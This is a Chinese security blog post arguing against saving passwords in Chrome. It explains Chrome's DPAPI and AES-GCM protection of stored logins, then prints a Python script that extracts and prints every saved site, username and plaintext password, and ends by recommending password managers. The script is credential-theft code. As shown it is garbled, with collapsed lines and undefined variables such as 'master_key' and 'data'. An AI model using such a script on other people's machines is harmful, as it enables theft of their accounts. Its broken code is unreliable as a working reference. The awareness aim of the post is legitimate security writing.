别再使用记住口令功能了!

别再使用记住口令功能了!

时间:2021-02-23 作者:安帝科技

我们先来思考几个问题

问:chrome记住口令是否安全?
答:不安全,但是我的电脑别人又不能访问,所以一般情况来说还是挺安全的。
问:chrome记住口令的文件存放在哪里?
答:%LOCALAPPDATA%\Google\Chrome\User Data\(windows)(linux略)
问:chrome记住口令是否可读?
答:可读,但关键数据加密,如下图:

结合这一点,以及电脑中病毒,或者像qq访问浏览器缓存记录事件就可准确回答第一个问题,即使没有人登录你的电脑,也有可能导致记住口令被窃取。
问:chrome记住口令是否可以被破解?
答:可以。

chrome记住口令源码分析

保存口令逻辑
先来看看同源的chromium的保存口令逻辑(chromium是chrome的另一个开源版本,和其它操作系统的预发布版本一样,很多新功能都会事先在此版本上进行试用):

加解密参数设置
chrome的加密过程分析省略。

DPAPI解密

获取加密key

 
解密函数


解密的时候需要对一些参数做验证,如果参数正常,则返回正确口令。从源码分析结果来看,chrome记住口令的加密方式使用了标准的对称加密算法——AES-GCM。

解密脚本
知道了加密算法,以及各参数的计算方法,那么我们就可以通过python开发一个解密脚本。
import osimport jsonimport base64import sqlite3import win32cryptfrom Crypto.Cipher import AES

def get_key(): local_state = os.environ[‘USERPROFILE’] + os.sep + r’AppData\Local\Google\Chrome\User Data\Local State’ with open(local_state, “r”, encoding=’utf-8′) as f: # with open(‘Local State’, “r”, encoding=’utf-8′) as f: local_state = f.read() local_state = json.loads(local_state) key = base64.b64decode(local_state[“os_crypt”][“encrypted_key”]) key = master_key[5:] key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] return key

def decrypt_password(buff, key): try: iv = buff[3:15] payload = buff[15:] cipher = AES.new(key, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload) print(decrypted_pass) decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass except Exception as e: print(str(e)) return “decrypt failed”

def get_decrypt_password(login_db): conn = sqlite3.connect(login_db) cursor = conn.cursor()
try: cursor.execute(“SELECT action_url, username_value, password_value FROM logins”) for action_url, username_value, password_value in cursor: if password_value[0:3] == b’v10′ or password_value[0:3] == b’v11′: # 前3位是以v10或v11开始的就是80版本以后的,需要用这种方法进行解密 for r in cursor.fetchall(): url = r[0] username = r[1] encrypted_password = r[2] decrypted_password = decrypt_password(encrypted_password, key) print(“URL: ” + url)
print(“User Name: ” + username)
print(“Password: ” + decrypted_password)
print(“*” * 50 + “\n”) else: #否则就是80之前的版本,就可以直接进行解密 for r in cursor.fetchall(): url = r[0] username = r[1] encrypted_password = r[2] decrypted_password = win32crypt.CryptUnprotectData(data[1], None, None, None, 0) if decrypted_password: print(“URL: ” + url)
print(“User Name: ” + username)
print(“Password: ” + decrypted_password)
print(“-” * 50 + “\n”)
except Exception as e: pass
cursor.close() conn.close()

if __name__ == ‘__main__’: key = get_key() login_db = ‘Login Data’ get_decrypt_password(login_db)

解密效果
看到如下结果即为正确有效的口令:

看到如下图的结果即为不正确的缓存数据:

建议

既然chrome记住口令存在安全风险,显然不推荐使用了,那么如何记住那么多的口令?小伙伴们不要着急,目前市场上有诸多口令管理器,如免费开源的KeePass、跨浏览器平台的LastPass等等,您可以选择一款适合您的管理器来记住您的口令哦~~~